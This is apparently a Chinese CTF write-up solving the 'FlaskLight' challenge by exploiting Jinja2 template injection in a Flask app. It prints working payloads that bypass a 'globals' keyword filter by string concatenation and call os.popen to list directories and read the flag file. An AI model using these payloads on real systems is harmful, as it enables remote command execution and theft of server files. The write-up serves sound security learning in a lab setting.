[CSCCTF 2019 Qual]FlaskLight
前言
白天一直在上课,晚上赶快躲进图书馆里面打打靶场。这次的题目算是很简单的一道题目了,我做完之后还去看了看其他师傅写的博客,只能感叹一声太强了。我根本就没有考虑这些,就直接去找flag了。
正文
很喜欢这样的题目,在每一步之后出题人都会贴心的留下下一步的线索,不至于做完第一步后,不知道自己在干嘛,甚至是不知道自己第一步做对了没有。打开题目 ![在这里插入图片描述](https://img-blog.csdnimg.cn/a6d3bc9f47aa4877870decef7e321d3c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5YWl5bGx5qK16KGM,size_20,color_FFFFFF,t_70,g_se,x_16) 出题人让我们用get进行传参,向这个网站里面传一个search进去。我们尝试之后发现这个地方存在SSTI。 ![请添加图片描述](https://img-blog.csdnimg.cn/eb817a0f6bd745619f741691bef59ce4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5YWl5bGx5qK16KGM,size_20,color_FFFFFF,t_70,g_se,x_16) 因为是用flask搭建的网站,所以这里的判断很自然就是jinja2的模板注入。 我们用如下的方式来测试一下python的版本
[].__class__.__mro__[-1].__subclasses__()[40]
![请添加图片描述](https://img-blog.csdnimg.cn/9a767f03850648f483c53c1df228c0b1.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5YWl5bGx5qK16KGM,size_20,color_FFFFFF,t_70,g_se,x_16) 这里给到我们的信息是该python版本是python2,因为在python3中subclasses()里面是没有type file的。emm,不知道该干嘛了,先去看一下环境变量吧。直接{{config}}(惊了,居然能成功) ![请添加图片描述](https://img-blog.csdnimg.cn/c5df42f9c00646ba9b3a967fb743b54d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5YWl5bGx5qK16KGM,size_20,color_FFFFFF,t_70,g_se,x_16) 说实话,config这玩意我是不指望着他能成功的,但是没想到这道题连这个都没过滤。我们看到了出题人给我们的提示,他说flag就在当前的目录下面,也就是说flag与工程文件同处一个文件夹下。 在这里我尝试了很久,服务器总是给我报500的响应码,我推测是有过滤。然后在我一个一个删除关键字后,我发现这道题过滤的是globals。那用字符串拼接过滤试试看 ![请添加图片描述](https://img-blog.csdnimg.cn/f2f46108a351498688c06695c3094e0c.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5YWl5bGx5qK16KGM,size_20,color_FFFFFF,t_70,g_se,x_16) 这里发现服务器已经可以正常地给我返回信息了,所以说题目里面的waf我们应该是已经绕过去了。 接下来我们用如下payload
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27dir%27).read()")}}
![在这里插入图片描述](https://img-blog.csdnimg.cn/5696d85012324022a0ab9de0a072d815.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5YWl5bGx5qK16KGM,size_20,color_FFFFFF,t_70,g_se,x_16) 我们直接进入工程文件下面列目录
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27ls /flasklight%27).read()")}}
![请添加图片描述](https://img-blog.csdnimg.cn/76c31d3dc7ed473697a5e2f4caa08215.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5YWl5bGx5qK16KGM,size_20,color_FFFFFF,t_70,g_se,x_16) 最后cat一下里面的coomme_geeeett_youur_flek
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27cat /flasklight/coomme_geeeett_youur_flek%27).read()")}}
![请添加图片描述](https://img-blog.csdnimg.cn/09c8c6e1adb2421ca5a9e1252db5c000.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5YWl5bGx5qK16KGM,size_20,color_FFFFFF,t_70,g_se,x_16)
后记
看了其他师傅的文章,有些师傅是通过subprocess.Popen来实现命令执行的,又是一个新姿势。个人感觉这道题还是挺简单的,每条路都能走通,甚至可以不用内建函数__builtins__都行,可以用global里面的os进行RCE。
|